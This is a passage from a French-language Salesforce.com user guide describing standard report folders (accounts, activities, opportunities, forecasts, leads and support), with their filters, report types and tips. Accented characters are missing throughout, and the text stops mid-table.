Comme les activits se dploient travers des enregistrements associs, la date qui figure dans le champ Dernire
activit du compte peut tre l'activit d'un contact, d'une opportunit ou d'un autre enregistrement associ.

Le filtre Afficher standard des rapports de compte vous permet de limiter les donnes du compte selon les options
suivantes. Ces options peuvent varier selon l'dition et le paramtrage choisis par votre entreprise.
-

Mes comptes : affiche les comptes dont vous tes responsable.

Les comptes de mon quipe de comptes : affiche les comptes pour lesquels vous faites partie de l'quipe de comptes.
Mon quipe de comptes et mes comptes : affiche les comptes dont vous tes responsable et ceux pour lesquels
vous faites partie de l'quipe de comptes.
Les comptes de mon quipe : affiche vos comptes et les comptes dont sont responsables tous vos subordonns
dans la hirarchie de rles.
Mes territoires : pour les entreprises utilisant la gestion des territoires, cette option affiche les comptes appartenant
aux territoires auxquels vous tes affect.
Les comptes de mon quipe de territoires : pour les entreprises utilisant la gestion des territoires, cette option
affiche les comptes qui font partie de vos territoires et des descendants de vos territoires.
Les comptes de mon quipe et leurs comptes : pour les utilisateurs qui vous sont hirarchiquement rattachs.
Contient les comptes dont ils sont responsables et ceux pour lesquels ils font partie de l'quipe de comptes.
Tous les comptes visibles : affiche tous les comptes que vous pouvez consulter en fonction du modle de partage
en vigueur.
Territoires : pour les entreprises utilisant la gestion des territoires, le filtre supplmentaire Territoires peut
tre dfini sur Tout, Plusieurs territoires ou Territoire manquant. Cependant, le filtre Territoires sur des
rsultats de rapport excuts partir de types de rapport personnalis qui incluent des territoires n'inclut ni
Plusieurs territoires ni Territoires manquants.
Si votre entreprise utilise un portail Client Salesforce.com, ajoutez le champ Compte du portail Client
vos rapports de compte pour afficher les comptes dont des contacts peuvent utiliser le portail.
Lorsqu'un rapport renvoie une liste de contacts ou de comptes personnels, cliquez sur Ajouter la campagne
pour les associer une campagne existante. Le bouton n'apparat que si vous disposez des autorisations requises

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1685

de gestion des membres de campagne. Pour plus d'informations, reportez-vous Ajout de membres de campagne
de rapports la page 1175.

Voir aussi :
Personnalisation des rapports
Options de rapport supplmentaires
Prsentation de la gestion des territoires
Limitation des rsultats d'un rapport

Rapports sur les activits

Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports du dossier Rapports sur les activits pour recueillir des informations sur les activits en cours, les activits
termines, les vnements de groupe ou sur les demandes d'approbation en attente pour lesquelles vous tes approbateur
dlgu.
Les rapports d'activit standard vous permettent de slectionner la priode et le statut des activits que vous voulez inclure.
Les rapports d'activit standard rpertorient les tches et rendez-vous pour une priode slectionne ou les vnements de
groupe avec tous les invits.
Vous pouvez galement crer des rapports d'activit personnaliss en cliquant sur le bouton Crer un nouveau rapport
personnalis de l'onglet Rapports, puis en slectionnant Activits comme type de donnes sur lequel crer un rapport.
Fonctions spciales du dossier Rapports sur les activits
Tenez compte des points suivants lorsque vous excutez des rapports sur les activits :
Rapports standard

Si l'option de suivi des e-mails HTML est active, choisissez le rapport statistique des messages HTML. Ce rapport
rend compte de tout ce qui se trouve dans la liste associe du statut des messages HTML des pistes et contacts.
Slectionnez le rapport vnements avec invits pour n'inclure dans le rapport que les vnements de groupe. Les
filtres standard du rapport vnements avec invits sont les suivants :
-

Attribu : affiche uniquement les vnements de groupe dont vous tes responsable.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1686

Attribu l'quipe de : affiche les vnements de groupe dont une personne de votre quipe est responsable.
Invit : affiche uniquement les vnements de groupe qui vous rpertorient comme invit.
L'invit appartient l'quipe de : affiche les vnements de groupe qui affichent toute personne de votre quipe
comme invit.

Le rapport Mes demandes d'approbation dlgues rpertorie toutes les demandes d'approbation dont vous tes
l'approbateur remplaant. Le rapport Toutes les demandes d'approbation en attente est stock dans le dossier Rapports
sur les activits.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, utilisez les liens Hirarchie
du rapport Tches et rendez-vous pour afficher les activits des utilisateurs qui vous sont rattachs. Vous ne pouvez
afficher que les activits dont vous tes responsable et celles dont sont responsables les utilisateurs qui vous sont
hirarchiquement rattachs.

Types de rapport

Utilisez l'Assistant de rapport personnalis pour crer des rapports d'activit qui affichent les activits associes un
autre type d'enregistrement. Par exemple, le rapport personnalis Activits associes aux pistes affiche les activits
associes aux pistes.
Les activits associes aux rapports sur les pistes n'affichent pas des donnes pour les champs Adresse - Ligne
1, Adresse - Ligne2 et Adresse - Ligne3.

Conseils pour les rapports sur les activits

Dfinissez le critre de recherche Invitation un vnement gal 0 pour liminer les vnements qui correspondent
aux invitations envoyes aux utilisateurs d'un vnement de groupe.
Les activits archives n'apparaissent pas dans les rapports. Reportez-vous Utilisation de la liste associe de l'historique
des activits la page 1083 pour obtenir des dtails sur les activits archives.
Les activits des contrats privs apparaissent uniquement dans les rapports du responsable du contact.
Les filtres standard des rapports d'activit vous permettent de limiter les rsultats du rapport l'aide des options
suivantes. En fonction de l'dition dont vous disposez, certaines de ces options ne sont pas disponibles.
-

Mes activits : contient les activits dont vous tes responsable.

Mes activits dlgues : contient les activits que vous avez cres mais dont vous n'tes pas responsable, le
responsable occupe votre rle dans la hirarchie.
Les activits de mon quipe : contient les activits dont sont responsables des utilisateurs rattachs vous dans
la hirarchie des rles.
Toutes les activits : affiche toutes les activits que le modle de partage vous permet de visualiser.

Si vous recevez un message d'erreur vous indiquant que les rsultats du rapport d'erreur sont trop nombreux,
personnalisez le rapport en appliquant un filtre une liste de slection, du texte ou un champ de date. Vous pouvez
aussi relancer le rapport en utilisant un autre type de donnes pour les activits, par exemple Activits associes aux
comptes ou Activits associes aux opportunits.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez
sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1687

pour marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une
liste de tous les enregistrements et rapports contenant cette balise.

Voir aussi :
Personnalisation des rapports
Options de rapport supplmentaires
Limitation des rsultats d'un rapport

Rapports sur les opportunits, prvisions et ventes

Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Les rapports des dossiers Rapports sur les opportunits et les prvisions et Rapports sur les ventes de l'onglet Rapports vous
fournissent des informations sur les opportunits et les prvisions. Utilisez ces rapports pour obtenir un instantan des ventes
en cours et vous aider grer les opportunits.
Remarque: Les noms de vos dossiers de rapports standard varient selon que les prvisions personnalisables sont actives
ou pas pour votre entreprise. Si votre entreprise utilise des prvisions personnalisables :

Les rapports d'opportunit standard se trouvent dans le dossier Rapport sur l'opportunit.
Les rapports de prvision standard se trouvent dans le dossier Rapports de prvision.

Si votre entreprise utilise la fois les prvisions et les prvisions personnalisables, les dossiers Rapport sur l'opportunit,
Rapports de prvision et Rapports sur les opportunits et les prvisions apparaissent. Reportez-vous Est-ce que
je dispose de la prvision personnalisable ? la page 1445 pour dterminer si l'entreprise a activ les prvisions
personnalisables.
l'aide des rapports d'opportunit standard, vous pouvez effectuer le suivi :

Des opportunits venir

Des opportunits par produit, type, source, partenaire ou quipe commerciale.
Des opportunits bloques ou closes
De la dure de vie des opportunits
De la dure des diffrents stades des opportunits

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1688

Utilisez les rapports de prvision standard pour crer des rapports sur les montants prvisionnels trimestriels, la faon dont vos
prvisions voluent dans le temps et les opportunits dclasses dans la prvision.
Les rapports standard sur les ventes suivent les ventes par compte, partenaire, reprsentant commercial, origine de la piste ou
planification du produit. Vous pouvez galement confronter les ventes aux quotas trimestriels.
Remarque: Les rapports sur les opportunits, prvisions et ventes omettent les opportunits dont sont responsables
les utilisateurs qui n'ont pas de rle hirarchique dans votre organisation. Cette restriction ne s'applique pas aux
entreprises sous Personal Edition ou Group Edition, qui ne possdent pas de hirarchie des rles.
Fonctions spciales des rapports sur les opportunits, prvisions et ventes
Tenez compte des points suivants lorsque vous excutez des rapports sur les opportunits, les prvisions et les ventes :
Rapports standard

Le rapport sur les opportunits bloques affiche l'ensemble des opportunits ouvertes, regroupes par tape et tries
par ge cette tape.
Dans le rapport sur les opportunits lies aux partenaires, vous pouvez afficher tous les partenaires de l'opportunit
ou uniquement les partenaires principaux. Pour restreindre l'affichage aux partenaires principaux, personnalisez le
rapport en prcisant Principal gal True la page des critres de l'Assistant de rapport personnalis.
Dans le rapport de l'historique des prvisions, choisissez l'option Toutes les prvisions pour afficher l'tat des prvisions
aprs chaque mise jour. Choisissez l'option Dernires prvisions pour afficher uniquement l'tat des prvisions le
plus actuel.
Le rapport sur l'quipe de vente de l'opportunit contient des informations sur les opportunits et les quipes de vente
dont vous faites partie.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, le rapport sur la tendance
des en-cours des opportunits affiche un historique instantan des opportunits. Ce rapport regroupe par tape
historique et rpertorie les montants d'opportunit, regroups par tape, pour le mois prcdent indiqu.
Si votre entreprise suit l'historique des champs des opportunits, vous pouvez rapporter cette information l'aide du
Rapport sur l'historique du champ d'opportunit.
Si votre entreprise suit les modifications de statut des opportunits, vous pouvez rapporter cette information l'aide
du Rapport sur l'historique des opportunits.

Types de rapport

Le rapport sur les opportunits associes aux quipes de vente et aux produits prsente la liste des quipes associes
aux opportunits pour lesquelles des produits spcifiques ont t vendus. Notez que pour pouvoir excuter le rapport,
les quipes de vente et les produits doivent tre activs.
Le rapport sur les opportunits, leurs produits et les rles de leurs contacts prsente la liste des contacts associs aux
opportunits pour lesquelles des produits spcifiques ont t vendus. Pour que vous puissiez excuter le rapport, les
produits doivent tre activs.

Conseils relatifs aux rapports sur les opportunits, prvisions et ventes

Vous devez indiquer un intervalle de gnration de rapports par exercice ou par date.
La valeur Anciennet de l'opportunit ouverte reprsente le nombre de jours depuis sa cration. Pour les opportunits
closes, la valeur Anciennet reprsente le nombre de jours entre les dates de cration et de clture.
La valeur Dure de l'tape de l'opportunit reprsente le nombre de jours pendant lequel elle tait l'tape
rpertorie dans la colonne tape. Affichez le rapport sur la dure de l'tape d'opportunit pour savoir combien de
temps les opportunits sont restes chaque tape.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1689

La valeur Dernire activit de l'opportunit reprsente la date d'chance de l'activit la plus rcente dans un
enregistrement. Les activits passes ou futures suivantes dterminent cette date :
-

tout vnement
Tches closes

Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lors de l'affichage du rapport, cliquez
sur Ajouter des balises ou Modifier des balises dans la zone Balises directement sous la barre de titre en couleur
pour marquer le rapport. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une liste
de tous les enregistrements et rapports contenant cette balise.
Vous pouvez inclure la source de la campagne principale dans tous les rapports standard sur les opportunits. Le
champ Source de la campagne principale est contrl par un paramtre de scurit au niveau du champ.
Afin de l'activer pour votre profil, choisissez Configuration Personnalisation Opportunits Champs, puis
cliquez sur Source de la campagne principale. Pour plus d'informations, reportez-vous Configuration de la scurit
au niveau du champ la page 182.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, les liens Hirarchie
permettent de parcourir les rsultats des rapports en fonction des hirarchies de rles ou de territoires.
Si votre entreprise a recours la gestion des territoires, le filtre Hirarchie sur les rapports d'opportunits vous
permet d'afficher les donnes en fonction des hirarchies de rles ou de territoires. En outre, le filtre Territoires
vous permet d'afficher les opportunits de tous les territoires ou les opportunits auxquelles aucun territoire n'est
associ.
Les rapports qui incluent la colonne Partenaire ( l'exception du rapport sur les opportunits lies aux partenaires)
n'affichent que le partenaire principal de l'opportunit.
Les rapports de prvision contiennent uniquement les opportunits dfinies pour tre closes dans la priode de
prvision, sauf celles attribues la catgorie de prvision Omise.
Utilisez le filtre Afficher pour restreindre les rapports d'opportunit en fonction des options suivantes. Ces options
peuvent varier selon l'dition et le paramtrage choisis par votre entreprise.
-

Mes opportunits : n'affiche que vos opportunits.

Les opportunits de vente de mon quipe : affiche les opportunits de l'quipe de vente dont vous faites partie.
Les opportunits de mon quipe de vente et mes opportunits : affiche vos opportunits et celles de l'quipe de
vente dont vous faites partie.
Les opportunits de mon quipe : affiche vos opportunits et les opportunits dont sont responsables tous vos
subordonns dans la hirarchie de rles.
Si votre entreprise a recours la gestion des territoires, le rsultat de cette option dpend de la valeur du filtre
Hirarchie ci-dessus. Slectionner Rle affiche vos opportunits et les opportunits dont sont responsables
tous vos subordonns dans la hirarchie de rles. Si vous slectionnez Territoire, vous verrez les opportunits
dont vous tes responsable et toutes les opportunits dont les descendants de vos territoires sont responsables.

Les opportunits de vente de mon quipe et leurs opportunits : pour les utilisateurs qui vous sont hirarchiquement
rattachs. Affiche les opportunits dont ils sont responsables et celles pour lesquelles ils font partie de l'quipe de
vente.
Mes territoires : pour les entreprises utilisant la gestion des territoires, cette option affiche les opportunits
appartenant aux territoires auxquels vous tes affect.
Toutes les opportunits : affiche toutes les opportunits auxquelles vous avez accs.

Si votre entreprise fait appel la gestion avance des devises, les valeurs de devise converties dans les rapports
d'opportunit utilisent les taux de change bass sur la date de clture de l'opportunit avec les exceptions suivantes,
o les taux de change standard sont appliqus :
-

Champs de devise personnaliss des rapports d'historique d'opportunit

Champ Prix catalogue des rapports de produit d'opportunit

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1690

Remarque: Le champ Prix catalogue (converti) convertit le prix catalogue des produits
d'opportunit en utilisant les taux de change dats et la date de clture de l'opportunit.

Lorsque vous faites appel la gestion avance des devises, vous pouvez inclure la colonne Prix catalogue
(converti) dans les rapports de produit d'opportunit pour indiquer le prix catalogue du produit converti dans
votre devise, en fonction de la date de clture de l'opportunit.
Lors de l'utilisation de la gestion avance des devises, les formules rcapitulatives personnalises qui utilisent la
fonction rcapitulative PREVGROUPVAL renvoient des montants convertis bass sur la date de clture de l'opportunit,
pas sur la date actuelle. Pour plus d'informations, reportez-vous Oprateurs et fonctions la page 519.
Remarque: Ces rapports ne s'appliquent pas aux prvisions personnalisables. Reportez-vous la section Rapports
de prvision la page 1691 si votre entreprise a activ les prvisions personnalisables.

Affichage des tendances des opportunits

Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, slectionnez le type de rapport
Tendances d'opportunit pour gnrer un rapport sur vos opportunits au cours de plusieurs mois couls. Choisissez
l'un des regroupements suivants :

L'option tape historique prsente un instantan de vos donnes d'opportunit par tape, partir du dbut de chaque
mois pass et pour l'intervalle spcifi.
L'option Probabilit historique prsente vos donnes d'opportunit groupes par probabilit, partir du dbut de
chaque mois pass et pour l'intervalle spcifi.
L'option Date de clture historique prsente vos donnes d'opportunit groupes par date de clture, partir du
dbut de chaque mois pass et pour l'intervalle spcifi.
L'option Montant historique prsente vos donnes d'opportunit groupes par montant, partir du dbut de chaque
mois pass et pour l'intervalle spcifi.
L'option En date du prsente vos donnes d'opportunit par date, partir du dbut de chaque mois pass et pour
l'intervalle spcifi.

Voir aussi :
Personnalisation des rapports
Prsentation de la gestion des territoires
Options de rapport supplmentaires
Limitation des rsultats d'un rapport

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1691

Rapports de prvision
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Les rapports du dossier Rapports de prvision de l'onglet Rapports vous fournissent des informations sur les donnes
prvisionnelles personnalisables. Utilisez ces rapports pour gnrer les statistiques de ces donnes prvisionnelles.
Remarque: Si vous n'avez pas accs au dossier Rapports de prvision, les prvisions personnalisables ne sont peut-tre
pas installes. Reportez-vous Est-ce que je dispose de la prvision personnalisable ? la page 1445 pour dterminer si
les prvisions personnalisables sont actives pour vous et pour votre organisation.
Fonctions spciales du dossier Rapports des prvisions personnalisables
Tenez compte des points suivants lorsque vous excutez des rapports des prvisions personnalisables :
Rapports standard
Crez le rapport de l'historique des prvisions pour afficher des informations sur les prvisions que vous avez dj soumises.
Types de rapport

Lorsque vous crez un rapport de prvision personnalis, slectionnez le type de rapport Prvision personnalise :
Prvisions d'opportunit pour inclure des informations sur les opportunits qui contribuent la prvision.
Vous pouvez inclure des champs utilisateur personnaliss dans des rapports de prvision d'opportunits personnaliss
sous forme de colonnes et de valeurs de colonne. Les champs utilisateur personnaliss sont disponibles sous la forme
d'informations personnalises sur le responsable de l'opportunit ou le responsable du compte. L'tiquette de champ
personnalis est utilise la fois pour les informations sur le responsable de l'opportunit et sur le responsable du
compte, ce qui peut prter confusion si tous deux figurent sur le mme rapport et possdent des tiquettes de champ
similaires.
Si vous disposez de l'autorisation Afficher toutes les prvisions, l'historique prvisionnel et les rsums incluent les
donnes de tous les utilisateurs pour la hirarchie des prvisions choisie, y compris les utilisateurs des branches de la
hirarchie des prvisions dpourvues de responsable de prvisions.

Conseils sur les rapports des prvisions personnalisables

Les rapports de prvision incluent les opportunits prives.

Les montants d'opportunit figurent dans les rapports de prvision si l'opportunit est dfinie pour tre close au cours
de la priode de prvision.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1692

Les opportunits dont la valeur Catgorie prvisionnelle est Omise ne figurent pas dans les rapports de
prvision.
Crez le rcapitulatif prvisionnel pour afficher des informations sur les montants de la prvision sans dtailler les
opportunits qui contribuent ces montants.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez
sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore
pour marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une
liste de tous les enregistrements et rapports contenant cette balise.
Si l'organisation utilise des territoires, vous pouvez crer des rapports de prvision personnaliss rcapitulant les
informations par nom de territoire. Reportez-vous Prsentation de la gestion des territoires la page 1952.
Vous pouvez afficher un rapport de prvision des opportunits bas sur la hirarchie de prvisions en faisant dfiler
cette hirarchie vers le bas.
1. Slectionnez le rle ou territoire souhait dans les liens de hirarchie.
2. Choisissez les quipes ou les utilisateurs de prvision appropris dans les sections Afficher les opportunits dont
est responsable ou Afficher les prvisions dont est responsable au sommet du rapport.
3. Cliquez nouveau sur Excuter le rapport pour actualiser les donnes du rapport en fonction des paramtres
choisis.
Par exemple, pour afficher les informations sur vos opportunits, y compris les remplacements de montants ou de
quantits d'opportunits, ainsi que les remplacements des utilisateurs infrieurs dans la hirarchie des prvisions,
dfinissez le lien Hirarchie sur votre rle de prvision. Pour consulter les informations sur les opportunits d'une
personne infrieure dans la hirarchie des prvisions, naviguez jusqu' ce rle.
ATTENTION: La vue Mon quipe affiche les prvisions sur plusieurs niveaux de hirarchie. Par consquent,
les valeurs peuvent tre incluses dans le total prvisionnel d'un subordonn et d'un responsable de prvision.
Des valeurs suprieures aux valeurs prvues sont donc susceptibles d'apparatre dans le total de colonne, car
les montants des subordonns sont inclus plusieurs fois dans le total.

Voir aussi :
Prsentation de la gestion des territoires
Options de rapport supplmentaires

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1693

Rapports sur les pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports sur les pistes pour afficher des informations sur l'origine et le statut des pistes, le temps de rponse aux
pistes, les pistes ngliges et l'historique des champs de piste.
Fonctions spciales du dossier Rapports sur les pistes
Tenez compte des points suivants lorsque vous excutez des rapports sur les pistes :
Rapports standard
Choisissez le type de rapport sur l'historique des pistes pour suivre l'historique des champs standard et personnaliss au
niveau des pistes dont les historiques de champ doivent tre suivis. Utilisez ce rapport pour afficher les anciennes valeurs
et les nouvelles valeurs des champs suivis. Vous ne pouvez pas utiliser de conditions de filtrage pour effectuer une recherche
dans les rsultats des champs Ancienne valeur et Nouvelle valeur.
Si vous dsactivez le suivi d'historique des champs sur un objet, vous pouvez toujours effectuer un rapport sur les donnes
d'historique jusqu' la date et l'heure auxquelles vous avez dsactiv le suivi d'historique de champ.
Conseil: Si vous tes autoris crer et personnaliser des rapports, vous pouvez utiliser la liste droulante
Afficher d'un rapport sur l'historique des pistes pour afficher les donnes d'historique des pistes en fonction
des options suivantes : Mes pistes, Les pistes de mon quipe, Pistes appartenant l'utilisateur, Pistes appartenant
la file d'attente et Toutes les pistes.
Conseils pour les rapports sur les pistes

Limitez la vue du rapport l'option Les pistes de mon quipe pour n'afficher que les pistes dont sont responsables
les utilisateurs qui vous sont hirarchiquement rattachs.
Les rapports sur les pistes peuvent afficher toutes les pistes, converties ou non. Pour limiter le rapport aux pistes non
converties, paramtrez les critres de filtre sur la valeur Converti est gal 0.
La valeur Dernire activit de la piste reprsente la date d'chance de l'activit la plus rcente dans un
enregistrement. Les activits passes ou futures suivantes dterminent cette date :
-

tout vnement
Tches closes

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1694

Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez
sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore
pour marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une
liste de tous les enregistrements et rapports contenant cette balise.
Vous pouvez crer un rapport pour les informations de piste et exporter ces donnes vers Excel, puis effectuer un
publipostage en masse avec Microsoft Word. Pour obtenir des instructions plus compltes, reportez-vous au document
sur le procd de publipostage en masse de Salesforce.com.
Lorsqu'un rapport renvoie la liste des pistes, cliquez sur Ajouter la campagne pour associer ces pistes une campagne
existante. Le bouton n'apparat que si vous disposez des autorisations requises de gestion des membres de campagne.
Pour plus d'informations, reportez-vous Ajout de membres de campagne de rapports la page 1175.

Voir aussi :
Personnalisation des rapports
Options de rapport supplmentaires

Rapports sur le support

Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports sur le support pour suivre le nombre de requtes cres, les commentaires de requte, les e-mails de requte,
les responsables de requte, les rles de contact de requte, les requtes avec solution, le temps coul depuis le dernier
changement de statut ou de responsable de la requte et l'historique des champs de requte. Vous pouvez galement crer des
rapports sur les solutions de votre entreprise, incluant l'historique des solutions et les langues dans lesquelles les solutions ont
t crites, et indiquant si les solutions traduites sont obsoltes. Si vous avez activ le portail libre-service, vous pouvez excuter
des rapports pour suivre l'utilisation de ce portail.
Fonctions spciales du dossier Rapports sur le support
Tenez compte des points suivants lorsque vous excutez des rapports sur le support :
Rapports standard

Choisissez les rapports sur l'historique de la requte et sur l'historique de la solution pour suivre l'historique des
champs standard et personnaliss des requtes et des solutions pour lesquelles le suivi des historiques de champ a t
dfini. Utilisez ces rapports pour afficher les anciennes et les nouvelles valeurs des champs suivis. Vous ne pouvez pas

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1695

utiliser de conditions de filtrage pour effectuer une recherche dans les rsultats des champs Ancienne valeur et
Nouvelle valeur.
Choisissez le rapport sur les solutions traduites pour rcapituler les solutions traduites associes chaque solution
principale.
Choisissez le rapport sur le rle du contact pour afficher toutes les requtes avec les rles de contact associs.
Choisissez les requtes contenant des rapports sur des articles pour afficher les articles joints. Ces rapports sont
disponibles uniquement si la base de connaissances Salesforce Knowledge la page 1500 est active.
Ils affichent les articles mme s'ils ne sont pas marqus comme disponibles pour le canal de la sous-application interne.
Vous pouvez galement gnrer des rapports sur tout champ personnalis dans des articles.

Types de rapport

Vous pouvez crer un rapport personnalis pour afficher la liste combine des e-mails entrants et sortants par requte,
en slectionnant dans l'assistant de gnration de rapports le type de rapport Requtes et e-mails. Ce type de rapport
est disponible uniquement pour les organisations dans lequelles la fonction E-mail vers requte ou E-mail vers requte
la demande est active.
Vous pouvez excuter des rapports de cycle de vie de requte pour visualiser les rsultats du champ Dure qui indiquent
le dlai coul depuis la dernire modification du statut ou du responsable de la requte. Chaque fois que le statut
ou le responsable change, le compteur redmarre zro.

Conseils pour les rapports sur le support

Vous pouvez choisir d'afficher la valeur Anciennet de la requte en jours, heures ou minutes. L'ge de la requte
ouverte correspond au temps coul depuis sa cration. L'ge d'une requte clture correspond au temps coul entre
l'heure de cration et de clture. Notez que l'ge d'une requte ne prend pas en compte les vacances associes aux
heures d'ouverture de la requte. Les vacances interrompent les heures d'ouverture des dates et heures spcifiques.
Pour plus d'informations, reportez-vous Dfinition des vacances la page 595.
Vous pouvez limiter tout rapport de requte aux requtes dont les utilisateurs sont responsables ou aux requtes dans
les files d'attente. Dans la liste droulante Afficher situe en haut du rapport de requte, slectionnez l'option Requtes
appartenant l'utilisateur ou Requtes appartenant la file d'attente.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lors de l'affichage du rapport, cliquez
sur Ajouter des balises ou Modifier des balises dans la zone Balises directement sous la barre de titre en couleur
pour marquer le rapport. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une liste
de tous les enregistrements et rapports contenant cette balise.
Vous pouvez galement crer un rapport de requte contenant les adresses e-mail des contacts et exporter ces donnes
vers Excel, puis effectuer un publipostage en masse avec Microsoft Word. Pour obtenir des instructions plus compltes,
reportez-vous au document sur le procd de publipostage en masse de Salesforce.com.
Vous pouvez crer un rapport personnalis sur les solutions et les catgories. Slectionnez le champ Nom de
catgorie pour afficher la catgorie de la solution et le champ Nom de catgorie parent pour afficher la
catgorie directement au-dessus de la catgorie de la solution.
Si vous restreignez le rapport aux solutions d'une catgorie en particulier, ce dernier inclura uniquement les solutions
qui sont directement associes cette catgorie. Il ne contient pas les solutions figurant dans les sous-catgories de
la catgorie indique.
Pour crer des rapports sur les solutions sans catgorie, utilisez les filtres de rapport avancs. Slectionnez le champ
Nom de catgorie et l'oprateur gal, puis laissez le troisime champ vide.
Lorsque vous crez des rapports sur les commentaires de requte, utilisez le champ Requte publique commente
pour prciser si le commentaire est public ou priv. Les commentaires publics sont signals par une coche. Pour
restreindre les rsultats du rapport aux commentaires publics, personnalisez le rapport en prcisant Requte publique
commente gal True la dernire page de l'Assistant de rapport personnalis. De la mme faon, le filtre Requte
publique commente gal 0 ne donne pour rsultat que les commentaires de requte privs.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1696

Pour crer des rapports sur la rsolution de requtes ds le premier contact, ajoutez le champ Clture lors de
la cration votre rapport. Ce champ indique les requtes closes par les reprsentants du support via le bouton
Enregistrer et Fermer pendant la cration de la requte.
Choisissez le champ Clture par l'utilisateur du libre-service pour gnrer un rapport sur le nombre
de requtes cltures par les utilisateurs via des suggestions de solutions sur le portail Self-Service.
Pour crer des rapports sur des requtes, ajoutez le champ Numro de la requte principale au rapport. Ce
champ indique si une requte est associe une requte principale.
Vous pouvez gnrer des rapports sur les quipes de requtes dont vous tes membres. Aprs avoir excut un rapport
de requte, slectionnez les requtes de Mon quipe dans le filtre Vue. Pour plus d'informations, reportez-vous
Prsentation des quipes de requtes la page 1223.
Les utilisateurs du portail ne peuvent gnrer des rapports que sur les objets dfinis comme Privs dans le modle de
partage par dfaut l'chelle de l'organisation. Certains objets, tels que les solutions et les articles, ne sont pas inclus
dans le modle de partage et ne peuvent pas faire l'objet de rapports par les utilisateurs du portail client. Pour plus
d'informations, reportez-vous Configuration du modle de partage par dfaut l'chelle de votre entreprise la
page 163.

Outre les champs standard et personnaliss des requtes et des solutions, vous pouvez crer des rapports de support sur les
champs suivants :
Requtes
Champ

Description

Nombre de requtes soumises

Nombre de requtes soumises par les utilisateurs libre-service

via le portail libre-service.
(Rapport sur l'utilisation du libre-service)

Nombre de requtes affiches

Nombre de requtes visualises par les utilisateurs libre-service

via le portail libre-service.
(Rapport sur l'utilisation du libre-service)

Nombre de commentaires ajouts

Nombre de commentaires ajouts toutes les requtes par les

utilisateurs libre-service via le portail libre-service.
(Rapport sur l'utilisation du libre-service)

Super utilisateur

Contact autoris afficher les informations sur les requtes,

ajouter des commentaires et tlcharger des pices jointes
pour toutes les requtes soumises via le portail libre-service
par n'importe quelle personne de sa socit.
(Rapport sur les utilisateurs libre-service)

Libre-service comment

Case cocher indiquant qu'un commentaire a t ajout une

requte via le portail libre-service.

Nouveau commentaire Libre-service

Case cocher indiquant qu'un commentaire a t ajout une

requte via le portail libre-service et n'a pas t vrifi par le
responsable de la requte.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1697

Requtes
Champ

Description

Entrant

